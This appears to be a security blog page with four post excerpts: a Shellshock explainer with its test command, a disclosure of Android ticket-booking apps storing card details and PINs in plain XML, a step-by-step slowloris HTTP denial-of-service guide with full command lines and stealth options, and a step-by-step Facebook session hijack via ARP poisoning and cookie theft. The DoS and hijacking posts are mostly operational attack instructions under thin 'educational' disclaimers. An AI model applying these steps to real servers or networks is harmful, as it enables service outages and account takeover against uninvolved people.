shellshock vulnerability in android

shellshock vulnerability
shellshock vulnerability , executing commands after environment

 

I’ll try to put it as simple as possible to the readers from non information security background, ‘bash shell’ an inevitable part of unix based systems like Unix, Linux, Mac OS  is messed up badly by a easy to exploit  vulnerability that all hell broke loose. Shellshock aka Bashdoor  as it’s fondly called is a series of dangerous security bugs on the bash shell.

CVE-2014-6271

The first of these series, which would let anyone execute arbitrary commands following a crafted environment variable like this,

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Speaking more on the vulnerability and it’s implications is beyond the scope of this article. Incase you are a power reader and wish to know in-depth regarding the vulnerability, please take a look at the excellent coverage on the same by troy hunt here.

What I really wanted to speak about here is shellshock’s implications in Android operating system.

Continue reading “shellshock vulnerability in android”

Security Vulnerability in third party IRCTC android applications in Google Play

About security vulnerability in third party IRCTC Android apps on Google Play

Update : If you have come here to download my IRCTC Android application, I am sorry I’ve removed it from google play as there are many IRCTC applications in Google play but with serious security risk.

I had developed an Android application for my personal use to book IRCTC (Indian Railway Catering and Tourism Corporation) railway tickets. I found it useful, So I released it on Google Play for the benefit of the others. Since then there has been an influx of numerous IRCTC apps on the Google play with added features like storing username/password, credit/debit card details, automatic login and session management. Though these features are undoubtedly useful, they pose a serious security risk which could lead to loosing your IRCTC login credentials to loosing your Credit/Debit card credentials thereby loosing your hard earned savings altogether to some malicious hacker/developer !

The reasons below states why it is not advisable to store user credentials on webview applications which make use of third party websites. Webview is the mecahnism by which android applications can make use of websites to provide a mobile application and it is the widely used method for number of IRCTC applications found on Google Play. You can check out the IRCTC applications from Google Play from the link below,

For this demo I am choosing IRCTC Pro app Shahul3D, it is the most well built IRCTC app  from the Google Play but is prone to following vulnerability in rooted Android devices,

                        

As you can see from the images above (if not click the image to enlarge), the application takes in user credentials like username, passwords to credit/debit card details even with the pin !! and what does it do with it ?

Stores it in a plain xml format in the android preferences
Google implemented the preferences as a simple database mechanism to store in user preferences in an application like dates,settings and it was never meant to store credit card details like the above application. unfortunately many developers still use preferences to store in sensitive information which in turn gets saved as an un-encrypted plain xml.
How to retrieve user data stored from android application stored in preferences,
 
Above screen capture of my terminal shows the basic set of commands I used to navigate into an rooted android file system to access the sensitive information stored in the above android application.
I made a video of the same for your understanding !
Any newbie could code an android application to parse the above xml data and take it to his home server. Even better he could target users of an particular application like the one shown above using similar package signatures and steal the user data.
Update : As few few visitors like Ajay (see comment section below) doesn’t like me being subtle about the scope of the vulnerability mentioned above, I would like to clarify it further.
1. shared_preferences by design cannot be accessed by another app in a non-rooted Android device,
Unless !
The developer has put in a android:sharedUserId with the hope of sharing is own preferences with his future apps. You can create same application context used in the target app using the UserId and access the shared_preferences.
And you know how to access the UserId, right ? See my Ultimate Android Decompilation Guide.
2. In rooted android devices, you can just build an app which would parse through the .xml in the /data and display the shared_preferences of other app or just mail it to your server !
So for the developers it is foolish to store sensitive data in preferences, unless if you want to steal the user data some how ! and for the users it is foolish to install any app you see on the Google Play without looking through it . Think well, when you see an app asking for your user credentials and take some time to contact the developer to know how your data is being stored and for what it is used for.
There are other risks involved in web view applications using third party websites by exploiting the javascript exploits, I will keep it for the next session. Take care.
Thanks to AndrewChamp for the great Evil Android picture !

Continue reading “Security Vulnerability in third party IRCTC android applications in Google Play”

How to perform a HTTP flooding using a low bandwidth attack

How to perform a HTTP flooding using a low bandwidth attack



Note : Every  method and tools mentioned here are for educative purpose only, never use it for any evil purpose please. 
Always remember Creating is cool, destroying is cowardliness. 

Welcome to a short guide on performing low bandwidth HTTP flooding attack using  slowloris script by RSanke.

slow loris is  a perl script designed to execute low bandwidth HTTP attacks on HTTP servers by identifying time-outs of server.

 
Advantage –

The advantage of using slowloris is that, it is designed to work using low bandwidth i.e a single PC with multiple instances of scripts can flood the server  and the added advantage is that, the server can be resumed back to normal within seconds when the script is stopped. Thus making it a great tool for learning flood attacks.


How to use slowloris script –


1. Make sure you have perl in your system, UNIX/LINUX PC is recommended and Windows has a limit for sockets.


2.To find the time out of a server,
./slowloris.pl -dns www.example.com -port 80 -test


3.Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available – this would be solved by threading, but that’s for a future revision.  The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. 

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5

4.HTTPReady Bypass for server with HTTPReady
HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.  

HTTPReady Bypass Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready 

5. Stealth Host DoS
If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.


Stealth Host DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com

6. HTTPS DoS

Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development.  Your mileage may vary. 
HTTPS DoS Example:

./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https

7. HTTP Cache

Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of this particular option has not been thoroughly tested.  Your mileage may vary.
HTTP Cache Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache 

Servers affected (Not limited to):

Apache 1.x
Apache 2.x
dhttpd
GoAhead WebServer
WebSense “block pages” (unconfirmed)
Trapeze Wireless Web Portal (unconfirmed)
Verizon’s MI424-WR FIOS Cable modem (unconfirmed)
Verizon’s Motorola Set-Top Box (port 8082 and requires auth – unconfirmed)
BeeWare WAF (unconfirmed)
Deny All WAF (unconfirmed)


Server’s not affected :

IIS6.0
IIS7.0
lighttpd
Squid
nginx
Cherokee (verified by user community)
Netscaler
Cisco CSS (verified by user community)



You can find more information about slowloris, inside the script.


Download slowloris from here.[display_adsense ad_type=”300×250″]

How to hijack a Facebook account and the need to use the secure feature – Part one (wired networks)

How to hijack a Facebook account and the need to use the secure feature – (wired networks)

 

Update : Facebook has enabled (secure browsing) https for everyone, so this attack is now not applicable. But still the procedure here applied to any website which has non secure login system.

This is a demonstration of  Session/Account hijacking vulnerability in Facebook if you do not use a secure connection over Facebook.

The part one of the series uses a wired network scenario for the demo.

Complete self explanatory video :

 

Attacks Employed :
1. Man in the middle attack/ ARP poisoning
2. Session Hijacking

Tools Used :


1.  Cain
2.  Wireshark
3.  Cookie editor (firefox Add on)

In this demo, I used a local wired network scenario. I used a Windows xp Virtual machine in my snow leopard machine to hijack  Facebook session of a Windows7 machine. I used windows since this demo can be reproduced easily in any realtime scenario. But this demo can be  tested on any Operating System.

How to :


1. Open Cain, Configure- set your Network card.
2. Use Mac Address Scanner to scan your local network  by specifying the range.
3. Identify your target PC, from the results.
4. Open a new ARP poisoning routing, set your ip and target ip.
5. Open Wireshark and filter http.
6. Wait for your target to open Facebook.
7. Check the Cain for poisoning status, Half-routing changes to Full-routing when the target uses the
network.
8. Open  Facebook with firefox in your PC, use Cookie editor to note down the Cookie names
associated with Facebook.
9. Monitor the Wireshark for Facebook connection from the Target PC for
HTTP [Retransmission] GET /x/
10.  Copy the value of Cookies from the HTTP [GET].
11.  Open your firefox, delete the cookies of Facebook.com.
12. Add the cookies and their values from the Wireshark you copied before.
13. After you have finished adding the cookies, save & close the Cookie editor.
14. Refresh your browser.
15. Congratulations. You have hijacked the Facebook account from your Target PC.

[display_adsense ad_type=”300×250″]

How to prevent this vulnerability :


1. As of this writing, Facebook has brought in secure layer (SSL) for connection. But it is still not full fledged (or) is left for user’s preference.
So enable the secure browsing under Security in Account Settings.

2. Better use HTTPS Everywhere browser plugin to force the use secure HTTPS connection for all the websites (if they provide one).

Conclusion :


HTTPS connection should be made mandatory for such high profile websites. My next demo would show session Hijacking through wifi networks.

This demo is purely meant for educational purpose and to insist the secure way of browsing.
indiandragon does not take any responsibility for any harmful actions carried over by using this demo.